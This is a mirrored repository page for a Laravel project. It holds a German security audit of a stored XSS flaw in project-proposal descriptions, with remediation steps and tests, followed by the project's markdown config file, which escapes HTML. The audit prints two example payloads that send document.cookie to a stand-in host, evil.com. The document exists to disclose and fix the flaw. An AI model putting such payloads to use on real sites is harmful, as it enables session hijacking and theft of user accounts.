mirror of
https://github.com/HolgerHatGarKeineNode/einundzwanzig-nostr.git
synced 2026-02-15 03:23:17 +00:00
## Security Audit: Cross-Site Scripting (XSS) in ProjectProposal Description
### Problem
In `resources/views/livewire/association/project-support/show.blade.php` Zeile 111 wird User-generierter Content **unescaped** ausgegeben:
```blade
<x-markdown>
{!! $projectProposal->description !!}
</x-markdown>
```
**Angriffsvektor:** Jeder authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft kann über `resources/views/livewire/association/project-support/form/create.blade.php` einen ProjectProposal erstellen. Das Feld `description` wird nur mit `required|string|min:5` validiert – kein HTML-Sanitizing. Ein Angreifer kann beliebiges JavaScript injizieren:
```html
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">
```
Die App nutzt Spatie's `laravel-markdown` (League\CommonMark), das standardmäßig inline HTML **nicht** filtert.
### Lösung
**Option A (empfohlen): HTML Purifier im Markdown-Renderer konfigurieren**
1. In `config/markdown.php` die CommonMark-Konfiguration anpassen, um `allow_unsafe_links` auf `false` zu setzen und `html_input` auf `'escape'` oder `'strip'`
2. Prüfe die aktuelle `config/markdown.php` – dort wird der `Spatie\LaravelMarkdown\MarkdownRenderer` konfiguriert
3. Setze in der CommonMark-Konfiguration:
```php
'commonmark' => [
'html_input' => 'escape', // oder 'strip' – verhindert rohen HTML-Output
'allow_unsafe_links' => false,
],
```
**Option B: Input-Sanitization bei Speicherung**
1. In `app/Livewire/Forms/ProjectProposalForm.php` (oder dem Create-Component) vor dem Speichern den HTML-Content mit `strip_tags()` oder besser einem HTML Purifier bereinigen
2. Das Flux `<flux:editor>` Component erzeugt möglicherweise gültiges HTML – prüfe, welches Format in der DB gespeichert wird
**Option C: Output-Escaping**
1. Ersetze `{!! $projectProposal->description !!}` durch `{{ $projectProposal->description }}` wenn nur Plain-Text benötigt wird
2. Falls Markdown benötigt wird, nutze die sichere Markdown-Rendering-Pipeline
### Betroffene Dateien
- `resources/views/livewire/association/project-support/show.blade.php:111` – XSS-Output
- `resources/views/livewire/association/project-support/form/create.blade.php` – Input ohne Sanitization
- `app/Livewire/Forms/ProjectProposalForm.php` – Validation Rules (falls vorhanden)
- `config/markdown.php` – CommonMark Konfiguration
### Zusätzlich prüfen
Scanne alle anderen `{!! !!}` Stellen in `resources/views/livewire/` (NICHT in `resources/views/flux/` – das sind Framework-Dateien). Aktuell ist nur `show.blade.php:111` betroffen, aber prüfe ob es weitere gibt.
### Vorgehen
1. `config/markdown.php` lesen und die CommonMark-Config auf `'html_input' => 'escape'` setzen
2. Prüfen, ob die Änderung den gewünschten Effekt hat (Markdown wird gerendert, HTML wird escaped)
3. Einen Pest Browser-Test oder Feature-Test schreiben, der verifiziert, dass `<script>` Tags in der Description escaped werden
4. `vendor/bin/pint --dirty` ausführen
5. Bestehende Tests laufen lassen
### Akzeptanzkriterien
- `<script>` und andere HTML-Tags in ProjectProposal descriptions werden escaped oder gestrippt
- Markdown-Formatierung (Bold, Links, Listen) funktioniert weiterhin
- Ein Test verifiziert, dass XSS-Payloads nicht ausgeführt werden
- Keine Regression in der Darstellung bestehender Proposals
109 lines
3.4 KiB
PHP
109 lines
3.4 KiB
PHP
<?php
|
|
|
|
return [
|
|
'code_highlighting' => [
|
|
/*
|
|
* To highlight code, we'll use Shiki under the hood. Make sure it's installed.
|
|
*
|
|
* More info: https://spatie.be/docs/laravel-markdown/v1/installation-setup
|
|
*/
|
|
'enabled' => true,
|
|
|
|
/*
|
|
* The name of or path to a Shiki theme
|
|
*
|
|
* More info: https://github.com/shikijs/shiki/blob/main/docs/themes.md
|
|
*/
|
|
'theme' => 'github-light',
|
|
],
|
|
|
|
/*
|
|
* When enabled, anchor links will be added to all titles
|
|
*/
|
|
'add_anchors_to_headings' => true,
|
|
|
|
/**
|
|
* When enabled, anchors will be rendered as links.
|
|
*/
|
|
'render_anchors_as_links' => false,
|
|
|
|
/*
|
|
* These options will be passed to the league/commonmark package which is
|
|
* used under the hood to render markdown.
|
|
*
|
|
* More info: https://spatie.be/docs/laravel-markdown/v1/using-the-blade-component/passing-options-to-commonmark
|
|
*/
|
|
'commonmark_options' => [
|
|
'html_input' => 'escape',
|
|
'allow_unsafe_links' => false,
|
|
],
|
|
|
|
/*
|
|
* Rendering markdown to HTML can be resource intensive. By default
|
|
* we'll cache the results.
|
|
*
|
|
* You can specify the name of a cache store here. When set to `null`
|
|
* the default cache store will be used. If you do not want to use
|
|
* caching set this value to `false`.
|
|
*/
|
|
'cache_store' => null,
|
|
|
|
/*
|
|
* When cache_store is enabled, this value will be used to determine
|
|
* how long the cache will be valid. If you set this to `null` the
|
|
* cache will never expire.
|
|
*
|
|
*/
|
|
'cache_duration' => null,
|
|
|
|
/*
|
|
* This class will convert markdown to HTML
|
|
*
|
|
* You can change this to a class of your own to greatly
|
|
* customize the rendering process
|
|
*
|
|
* More info: https://spatie.be/docs/laravel-markdown/v1/advanced-usage/customizing-the-rendering-process
|
|
*/
|
|
'renderer_class' => Spatie\LaravelMarkdown\MarkdownRenderer::class,
|
|
|
|
/*
|
|
* These extensions should be added to the markdown environment. A valid
|
|
* extension implements League\CommonMark\Extension\ExtensionInterface
|
|
*
|
|
* More info: https://commonmark.thephpleague.com/2.4/extensions/overview/
|
|
*/
|
|
'extensions' => [
|
|
//
|
|
],
|
|
|
|
/*
|
|
* These block renderers should be added to the markdown environment. A valid
|
|
* renderer implements League\CommonMark\Renderer\NodeRendererInterface;
|
|
*
|
|
* More info: https://commonmark.thephpleague.com/2.4/customization/rendering/
|
|
*/
|
|
'block_renderers' => [
|
|
// ['class' => FencedCode::class, 'renderer' => MyCustomCodeRenderer::class, 'priority' => 0]
|
|
],
|
|
|
|
/*
|
|
* These inline renderers should be added to the markdown environment. A valid
|
|
* renderer implements League\CommonMark\Renderer\NodeRendererInterface;
|
|
*
|
|
* More info: https://commonmark.thephpleague.com/2.4/customization/rendering/
|
|
*/
|
|
'inline_renderers' => [
|
|
// ['class' => FencedCode::class, 'renderer' => MyCustomCodeRenderer::class, 'priority' => 0]
|
|
],
|
|
|
|
/*
|
|
* These inline parsers should be added to the markdown environment. A valid
|
|
* parser implements League\CommonMark\Renderer\InlineParserInterface;
|
|
*
|
|
* More info: https://commonmark.thephpleague.com/2.4/customization/inline-parsing/
|
|
*/
|
|
'inline_parsers' => [
|
|
// ['parser' => MyCustomInlineParser::class, 'priority' => 0]
|
|
],
|
|
];
|